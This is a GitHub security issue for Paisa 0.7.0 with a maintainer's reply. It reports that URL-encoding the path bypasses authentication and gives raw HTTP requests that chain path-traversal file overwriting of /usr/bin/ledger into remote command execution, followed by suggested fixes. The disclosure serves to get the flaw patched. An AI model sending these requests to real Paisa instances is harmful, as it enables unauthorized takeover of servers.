You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Describe your Environment
OS: Linux
Paisa Version: 0.7.0
App Variant: Docker
Vulnerability description
There is a vulnerability in Paisa's authentication mechanism. When the administrator sets up an account, an unauthorized attacker can bypass authentication by url encoding the http request URI, and further use /api/sheets/save to overwrite the /usr/bin/ledger file to complete remote command execution.
We can restrict unauthorized user access by setting up accounts, but the core authentication middleware has a vulnerability
Here c.Request.RequestURI is used to determine the route, but c.Request.RequestURI is the original request URI. The route selection of the gin framework is determined based on c.Request.URL.Path, so we can bypass the detection of this middleware by URL encoding, like this
GET /%61pi/config HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
After bypassing authentication, you can use the arbitrary file upload vulnerability of /api/editor/validate to overwrite the /usr/bin/ledger file
POST /%61pi/sheets/save HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 60
{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nid"}
Finally, use /api/editor/validate to trigger the execution command
POST /%61pi/editor/validate HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 2
{}
@pankass Thank you very much for the detailed report. I have pushed a fix to master and plan to release soon. If you are able to verify the fix let me know. Once again, thank you very much for your time.
Describe your Environment
OS: Linux
Paisa Version: 0.7.0
App Variant: Docker
Vulnerability description
There is a vulnerability in Paisa's authentication mechanism. When the administrator sets up an account, an unauthorized attacker can bypass authentication by url encoding the http request URI, and further use
/api/sheets/save
to overwrite the /usr/bin/ledger file to complete remote command execution.To Reproduce
Steps to reproduce the behavior:
Here
c.Request.RequestURI
is used to determine the route, butc.Request.RequestURI
is the original request URI. The route selection of the gin framework is determined based onc.Request.URL.Path
, so we can bypass the detection of this middleware by URL encoding, like this/api/editor/validate
to overwrite the /usr/bin/ledger file/api/editor/validate
to trigger the execution commandfix suggestions
c.Request.URL.Path
to replacec.Request.RequestURI
.../../
The text was updated successfully, but these errors were encountered: